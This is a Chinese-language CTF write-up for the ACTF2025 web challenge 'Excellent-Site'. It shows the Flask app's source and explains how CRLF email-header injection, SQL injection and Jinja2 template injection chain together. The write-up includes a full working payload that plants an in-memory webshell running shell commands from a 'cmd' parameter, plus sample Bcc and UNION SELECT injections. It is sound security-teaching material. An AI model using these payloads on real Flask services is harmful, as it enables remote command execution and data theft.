ACTF2025 - WEB Excellent-Site
#flask框架 #互联网 #利用CRLF进行头控制 #通过CRLF注入伪造 #利用sql注入进行回显控制 #Jinja2模板 #注意sql语句的相关转义可以控制查询结果
[[IMAP协议简介]] [[SMTP协议简介]]
app.py
import smtplib
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import * app = Flask(__name__) def get_subjects(username, password): imap_server = "ezmail.org" imap_port = 143 try: mail = imaplib.IMAP4(imap_server, imap_port) mail.login(username, password) mail.select("inbox") # 调用 `mail` 对象的 `select` 方法,选择邮箱中的 "inbox"(收件箱)文件夹,以便后续操作该文件夹中的邮件。 status, messages = mail.search(None, 'FROM "admin@ezmail.org"') #调用 `mail` 对象的 `search` 方法,在收件箱中搜索发件人地址为 "[admin@ezmail.org](mailto:admin@ezmail.org)" 的邮件。返回搜索状态 `status` 和 messages。 if status != "OK": return "" subject = "" latest_email = messages[0].split()[-1] #将匹配的邮件编号列表进行分割处理,获取最新的邮件编号赋值给变量 `latest_email` status, msg_data = mail.fetch(latest_email, "(RFC822)") #调用 `mail` 对象的 `fetch` 方法,获取指定编号 `latest_email` 的邮件完整数据(RFC822 格式),返回获取状态 `status` 和邮件数据 `msg_data`。 for response_part in msg_data: if isinstance(response_part, tuple): #判断当前响应部分是否为元组类型,如果是,则继续执行后续代码。msg = email.message_from_bytes(response_part [1]) #使用 `email.message_from_bytes` 函数,将响应部分中的邮件数据(字节类型)解析为邮件消息对象,赋值给变量 `msg`。 subject, encoding = decode_header(msg["Subject"]) [0] #调用 `decode_header` 函数,对邮件消息对象中的 "Subject"(主题)头部进行解码处理,获取主题内容和编码方式,并取第一个解码结果赋值给 `subject` 和 `encoding`。 if isinstance(subject, bytes): subject = subject.decode(encoding if encoding else 'utf-8') mail.logout() return subject except: return "ERROR"
#这段代码的主要功能是通过 IMAP 协议连接到指定的邮箱服务器,登录用户邮箱,搜索特定发件人的最新邮件,并获取该邮件的主题内容。def fetch_page_content(url): try: parsed_url = urlparse(url) #使用 `urlparse` 函数解析传入的 URL,返回一个包含 URL 各个组成部分的对象,赋值给变量 `parsed_url`。 if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org': return "SSRF Attack!" response = requests.get(url) if response.status_code == 200: return response.text else: return "ERROR" except: return "ERROR"
#这段代码的主要功能是获取指定 URL 的页面内容,但会先检查 URL 的协议和主机名以防止 SSRF 攻击,同时对请求过程中可能出现的错误进行基本的异常处理。如果请求成功且状态码为 200,则返回页面内容;否则返回相应的错误提示。@app.route("/report", methods=["GET", "POST"])
def report(): message = "" if request.method == "POST": url = request.form["url"] content = request.form["content"] smtplib._quote_periods = lambda x: x #- 这是对 `smtplib` 库中的 `_quote_periods` 函数进行篡改。正常情况下,`smtplib` 会处理邮件内容中的点号(`.`)等特殊字符,因为这些字符在邮件协议中有特殊含义。这里通过将其设置为一个简单的 lambda 函数(返回输入本身),禁用了这种处理。这种操作可能会导致邮件发送过程中出现不符合邮件协议标准的情况,但可能是为了特定的目的,如测试或绕过某些限制。mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n""" #- 定义了一个邮件内容的模板字符串。它包含邮件的发件人(`From`)、收件人(`To`)、主题(`Subject`)和正文内容(`{content}`)。其中 `{url}` 和 `{content}` 是占位符,将被后面格式化的实际值替换。邮件内容的格式是按照 RFC 822 标准(一种常用的电子邮件消息格式标准)来组织的。 try: server = smtplib.SMTP("ezmail.org") #创建一个 SMTP 客户端对象,连接到名为 “ezmail.org” 的邮件服务器。`smtplib.SMTP` 是 Python 中用于发送邮件的类,它负责与邮件服务器建立连接并发送邮件。mail_content = smtplib._fix_eols(mail_content) #使用 `smtplib` 库的 `_fix_eols` 函数对邮件内容进行处理。这个函数主要是为了确保邮件内容的行结束符符合邮件协议的要求。不过由于前面已经对 `_quote_periods` 进行了篡改,可能会对邮件内容的正确性产生影响。 mail_content = mail_content.format(url=url, content=content) #用实际获取的 `url` 和 `content` 值替换模板字符串中的 `{url}` 和 `{content}` 占位符,生成最终要发送的邮件内容。 server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content) #通过 SMTP 服务器发送邮件。`sendmail` 方法的第一个参数是发件人地址,这里使用的是 “[ignored@ezmail.org](mailto:ignored@ezmail.org)”;第二个参数是收件人地址,“[admin@ezmail.org](mailto:admin@ezmail.org)”;第三个参数是邮件内容,也就是经过格式化后的 `mail_content`。这个方法会将邮件发送到指定的收件人邮箱。 message = "Submitted! Now wait till the end of the world." except: message = "Send FAILED" return render_template("report.html", message=message) @app.route("/bot", methods=["GET"])
def bot(): requests.get("http://ezmail.org:3000/admin") #它用于发送一个HTTP GET请求。 return "The admin is checking your advice(maybe)" @app.route("/admin", methods=["GET"])
def admin(): ip = request.remote_addr if ip != "127.0.0.1": return "Forbidden IP" subject = get_subjects("admin", "p@ssword") if subject.startswith("http://ezmail.org"): page_content = fetch_page_content(subject) return render_template_string(f""" <h2>Newest Advice(from myself)</h2> <div>{page_content}</div> """) return "" @app.route("/news", methods=["GET"])
def news(): news_id = request.args.get("id") if not news_id: news_id = 1 conn = sqlite3.connect("news.db") cursor = conn.cursor() cursor.execute(f"SELECT title FROM news WHERE id = {news_id}") result = cursor.fetchone() #`cursor.fetchone()` 返回一个元组 conn.close() if not result: return "Page not found.", 404 return result[0] @app.route("/")
def index(): return render_template("index.html") if __name__ == "__main__": app.run(host="0.0.0.0", port=3000)
代码审计
smtplib
是 Python 的一个内置库,用于发送电子邮件。它实现了 SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)客户端的功能,允许程序通过 SMTP 服务器发送邮件。
“imaplib”是Python标准库中的一个模块,它提供了用于访问IMAP(Internet Message Access Protocol)服务器的接口。IMAP是一种用于接收电子邮件的协议,允许用户从邮件服务器上检索和管理电子邮件。
默认端口 143 加密993
get_subjects函数
mail.search方法
mail.search
返回的 messages
是一个元组,其中包含搜索到的邮件编号列表。具体来说:
mail.search(None, 'FROM "admin@ezmail.org"')
执行后,status
是一个表示搜索状态的字符串,messages
是一个元组,其中包含匹配的邮件编号。- 元组中的第一个元素是一个字符串,包含了所有匹配的邮件编号,这些编号是按照升序排列的,用空格分隔开。
- 例如,假设搜索到 3 个邮件,其编号分别是 1、5、8,那么
messages
可能是一个类似(b'1 5 8',)
的元组。 - 在代码中,
latest_email = messages[0].split()[-1]
这一行,先取元组的第一个元素messages[0]
,它是一个字节类型字符串(如b'1 5 8'
),然后用split()
方法按照空格分割成一个列表[b'1', b'5', b'8']
,最后通过[-1]
获取列表中的最后一个元素,也就是最新的邮件编号。
decode_header函数
“decode_header” 是一个函数,通常用于对电子邮件头部字段进行解码。电子邮件头部字段(如主题、发件人、收件人等)可能包含多种编码方式(如 Base64 编码、Quoted-Printable 编码等),以便在传输过程中正确处理特殊字符和非ASCII字符。这个函数的作用是将这些经过编码的头部字段解码为可读的文本格式,同时还会返回解码后的文本内容以及其对应的编码方式。
fetch_page_content函数
这段代码的主要功能是获取指定 URL 的页面内容,但会先检查 URL 的协议和主机名以防止 SSRF 攻击,同时对请求过程中可能出现的错误进行基本的异常处理。如果请求成功且状态码为 200,则返回页面内容;否则返回相应的错误提示。
路由
report
-
功能:允许用户提交URL和内容,通过SMTP邮件发送给管理员。
潜在漏洞: -
邮件头注入:用户控制的
url
或content
若包含换行符(\r\n
),可注入任意邮件头字段(如Bcc
、CC
),篡改收件人。
# 攻击示例:提交url为"test\r\nBcc: attacker@example.com"# 邮件内容会变为:# From: ... # To: ...# Subject: test# Bcc: attacker@example.com# ...
[[CRLF 编码]]
/bot
路由(GET)
- 功能:模拟管理员访问
http://ezmail.org:3000/admin
。
/admin
路由(GET)
功能:仅允许本地IP访问,读取管理员收件箱中的URL并访问其内容。
/news
路由(GET)
- 功能:根据
id
参数查询新闻标题。 - 代码关键点:
cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
- 潜在漏洞:
- SQL注入:直接拼接用户输入的
id
到查询语句,攻击者可执行任意SQL。
- SQL注入:直接拼接用户输入的
# 攻击示例:访问/news?id=1 UNION SELECT password FROM users# 返回结果包含用户密码
做题思路
脚本来自NowayBack战队大佬的wp ACTF x XCTF 2025 WP (qq.com)
/bot
和/admin
是链接在一起的,思路明确,通过/news
插入邮件再让bot解析即可,发现无回显打内存马,而且有转义问题,因为其中涉及sql语句
我们在report路由提交
url=http://ezmail.org:3000/news?id=0 union select "{{url_for.__globals__['__builtins__']['eval']('app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get(\'cmd\') and exec(\'global CmdResp;CmdResp=__import__(\\\'flask\\\').make_response(__import__(\\\'os\\\').popen(request.args.get(\\\'cmd\\\')).read())\')==None else resp)',{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}";%0d%0aFrom: admin@ezmail.org&content=123
利用[[CRLF 编码]] ,伪造了 From 这样在邮件中邮件的内容就会有
From: admin@ezmail.org
这样,对于在/admin 路由中发生作用的get_subjects函数将会把这个邮件中的主题 返回出来
这个subject的内容即
http://ezmail.org:3000/news?id=0 union select "{{url_for.__globals__['__builtins__']['eval']('app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get(\'cmd\') and exec(\'global CmdResp;CmdResp=__import__(\\\'flask\\\').make_response(__import__(\\\'os\\\').popen(request.args.get(\\\'cmd\\\')).read())\')==None else resp)',{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}";
再经fetch_page_content 函数访问这个url ,会返回响应内容,< page_content > 它将会呗模板渲染— 我们也就是在这进行SSTI,写入内存马
- ! 所以我们关键要控制 访问返回的内容 这个内容是ssti的payload
- ! 那么利用什么能很好地控制回显呢?
来看/news路由的处理
那么,就来到了 /news路由进行处理
这里利用了sql注入进行回显控制
我们用工具在本地看看这个过程是什么样的:
但上面的sql语句的相关转义本地并不通,于是要做这样的修改:
SELECT 1 UNION SELECT
'{{url_for.__globals__[''__builtins__''][''eval'']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get(''cmd'') and exec(\"global CmdResp; CmdResp=__import__(''flask'').make_response(__import__(''os'').popen(request.args.get(''cmd'')).read())\") == None else resp)",{''request'': url_for.__globals__[''request''], ''app'': url_for.__globals__[''current_app'']}
)}}';
可以看到,查询出来的就是我们可以进行ssti的payload
所以,在这里要注意sql语句的相关转义
-
关键修改:
-
外层用单引号(
'
)包裹字符串。 -
字符串内部的单引号替换为 两个单引号(
''
),例如[''__builtins__'']
。 -
删除多余的转义符(
\
),仅在需要保留的引号前使用。
-
然后就是内存马的ssti了,就不在这讨论了。